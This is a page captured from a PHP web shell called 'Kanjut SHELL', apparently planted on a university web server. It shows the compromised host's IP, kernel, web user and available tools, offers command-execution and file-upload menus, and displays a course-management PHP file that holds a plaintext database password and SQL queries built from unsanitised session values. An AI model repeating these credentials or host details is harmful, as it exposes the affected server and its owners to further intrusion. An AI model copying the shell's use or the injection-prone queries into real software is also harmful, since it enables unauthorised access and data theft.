Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.118.37.85
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/cngray/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cngray/www/BBAR.php
<?php
        session_start();
        if(!isset($_SESSION['username'])){
                header("location:BBWelcome.php");
        } else {
?>

<html>
<center>
<?php

        $username = $_SESSION['username'];
        $pass = $_SESSION['pass'];
        $check = $_SESSION['check'];
	$pro = $_SESSION['pro'];
	
        $_SESSION['username'] = $username;
        $_SESSION['pass'] = $pass;
        $_SESSION['check'] = 2;
        $host = 'localhost';
        $user = 'cngray';
        $passwd = 'vwccscngray';

	$course = $_SESSION['course'];
	$_SESSION['course'] = $course;

        $database = 'cngray';
        $connect = mysqli_connect($host, $user, $passwd);
        mysqli_select_db($connect, $database);

        $query = "select Course from Courses where Prof like '$pro'";
        $Result_id = mysqli_query($connect, $query);

        if($Result_id)
        {
		print "$course<br>";	
		print "Add or Remove Students?<br><br>";
		$course = str_replace(' ', '', $course);
		$Cquery = "select Student from $course";
		$CResult = mysqli_query($connect, $Cquery);
		if($CResult)
		{
			$x = 0;
			$students = array();
			while($row = mysqli_fetch_row($CResult))
			{
				foreach($row as $field)
				{
					$students[$x] = $field;
					$x++;
				}
			}?>
			<form action = BBRemove.php method = post>
			<?php
			for($x = 0; $x < sizeof($students); $x++)
				print "<input type = checkbox name = 'ST[]' value = $x> $students[$x] <br>";
			?>
						
			<br><INPUT Type=Submit VALUE='Remove Students'><br><br></form>
			<?php
			print "Add New Student to $course?<br>(First Last)Seperate by commas";?><br>
			</form>
			<form action = BBADD.php method = post>
			<input type = text name = "NewS">
				
			<INPUT Type=Submit VALUE='Add Student'><br>
			</form><?php
		}
		else
			print "Failed to get Students<br>";
	}
	else
		print "Failed to connect";
	?>
	 <br><INPUT Type=button VALUE="Back" onClick="location.href = 'BBCourses.php'">
 	<?php
	mysqli_close($connect);
}
?>

Stv3n404 - 2023